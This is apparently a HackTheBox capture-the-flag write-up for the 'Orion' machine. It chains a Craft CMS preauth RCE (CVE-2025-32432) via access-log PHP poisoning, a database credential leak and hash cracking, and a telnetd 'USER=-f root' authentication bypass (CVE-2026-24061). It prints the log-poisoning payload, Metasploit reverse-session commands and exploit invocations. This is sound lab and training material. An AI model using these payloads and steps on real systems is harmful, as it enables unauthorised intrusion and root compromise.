← Back to all writeups

HTB: Orion — CraftCMS Preauth RCE to Telnetd Auth Bypass

HACKTHEBOX VERY EASY LINUX CRAFT CMS CVE-2025-32432 CVE-2026-24061 METASPLOIT
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations  |  Season 11

> OVERVIEW

Orion is rated Very Easy, and the underlying vulnerabilities live up to that billing — an unauthenticated preauth RCE in Craft CMS, followed by a default env file leaking DB creds, followed by a genuinely comical authentication bypass in telnetd where the fix is quite literally "don't pass attacker input as a command-line flag." What made this one take longer than it should have wasn't the difficulty of the vulnerabilities — it was burning through three different community proof-of-concept scripts before landing on a version that actually worked cleanly.

> RECON

sudo nmap -sV -sC -p- --min-rate 5000 <target>

Only two ports externally: SSH (22) and HTTP (80), the latter serving a corporate telecom site with an X-Powered-By: Craft CMS header. The control panel footer confirmed the exact build:

Craft CMS 5.6.16
5.6.16 is the last vulnerable point release before Craft's April 2025 patch (5.6.17) closed CVE-2025-32432. Always check the exact patch-level version against the CVE's affected range before assuming a hit or a miss — being one point release off either way changes everything.

> FOOTHOLD — CVE-2025-32432 (CRAFT CMS PREAUTH RCE)

Craft's AssetsController::actionGenerateTransform action is registered as allowAnonymous, so it's reachable with zero authentication. It accepts a handle parameter that gets spread directly into a Craft::createObject() config array:

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Because $handle is attacker-controlled, an array key beginning with "as " gets picked up by yii\base\Component::__set() as a behavior attachment — which calls Yii::createObject() on the attacker-supplied value before any type check on unpatched Yii2 versions (<= 2.0.49). Pointing that at yii\rbac\PhpManager with a controlled itemFile is the whole game: PhpManager::init() calls require $this->itemFile, and PHP will happily execute any <?php ... ?> block inside whatever file that path points to.

The most reliable sink for this on a fresh install is the nginx access.log: since it logs the request's User-Agent verbatim, sending a request with User-Agent: <?php system('id'); exit; ?> plants a live PHP payload at a predictable, always-writable path (/var/log/nginx/access.log), which the gadget chain then requires.

Getting to a working exploit here took three attempts across different public PoC scripts, each breaking for a different reason: The Metasploit module (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432) worked cleanly on the first attempt. When a public script exhibits inconsistent, hard-to-diagnose failures, check for a maintained framework module before sinking further time into patching someone else's proof-of-concept.
msfconsole -q
search craftcms
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS orion.htb
set RPORT 80
set LHOST <attacker_ip>
set LPORT 4444
run

Landed a Meterpreter session as www-data.

> PIVOT TO A REAL USER

Craft's default environment file was sitting in its usual spot with live, unredacted credentials:

find / -name ".env" 2>/dev/null | grep -i craft
cat /var/www/html/craft/.env
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

That password didn't work directly for SSH against the box's one real user (adam) — a reminder that app-level DB credentials and system account passwords aren't always the same thing, even when reuse is a running theme across a session. Following the actual intended path: the DB credentials did grant access to the database itself, which contained Craft's own users table with a bcrypt password hash for the admin account (adam@orion.htb):

mysql -u root -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion \
  -e "SELECT username, email, password FROM users;"

That hash cracked in seconds against rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt adam_hash.txt
# darkangel
ssh adam@orion.htb

User flag secured.

> PRIVESC — CVE-2026-24061 (TELNETD AUTH BYPASS)

A quick look at listening services from inside the box turned up telnetd bound to localhost only:

ss -tlnp
# 127.0.0.1:23  LISTEN

CVE-2026-24061 affects GNU InetUtils telnetd versions 1.9.3 through 2.7 — an authentication bypass that had apparently sat undiscovered in the codebase for roughly eleven years before disclosure. The root cause is almost absurdly simple: telnetd accepts a USER environment variable from the client during the TELNET protocol's NEW-ENVIRON option negotiation (RFC 1572), and passes that value unsanitized straight into the argument list used to invoke the system login program.

Sending USER=-f root during negotiation causes telnetd to literally execute login -f root. The -f flag tells login to skip password verification entirely, on the assumption the caller has already pre-authenticated the user through some other means. telnetd never checks whether its own input could itself be a flag — a textbook argument injection vulnerability, and a stark reminder that any value crossing a trust boundary into a command's argv needs to be validated as data, never trusted as already-safe.

Since telnetd is bound to 127.0.0.1 only, exploitation requires either running the PoC directly on the box, or tunneling the port back to the attacker machine:

# from the attacker machine
ssh -L 2323:127.0.0.1:23 adam@orion.htb

# in a separate terminal
git clone https://github.com/balgan/CVE-2026-24061.git
cd CVE-2026-24061
python3 exploit.py 127.0.0.1 2323

The exploit negotiates the NEW-ENVIRON option, supplies the malicious USER=-f root value, and the daemon spawns login -f root — no credentials, no prompt, straight to a root shell.

root@orion:~# cat /root/root.txt
[root flag captured ✅]

> ATTACK CHAIN SUMMARY

  1. Craft CMS 5.6.16 identified via response headers and control panel footer version string
  2. Unauthenticated deserialization gadget chain (CVE-2025-32432) via the asset transform endpoint's Craft::createObject() spread → yii\rbac\PhpManager gadget → nginx access.log poisoning → RCE as www-data
  3. Craft's default .env file leaks live database credentials
  4. DB access dumps Craft's own users table, yielding a bcrypt hash for the site's admin account
  5. Hash cracks in seconds against rockyou → SSH access as the box's real system user
  6. Internal-only telnetd discovered bound to localhost
  7. CVE-2026-24061: telnetd passes the client-supplied USER environment variable unsanitized into login's argv — sending USER=-f root executes login -f root, bypassing authentication entirely for an instant root shell

> LESSONS LEARNED


Scarif Operations  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11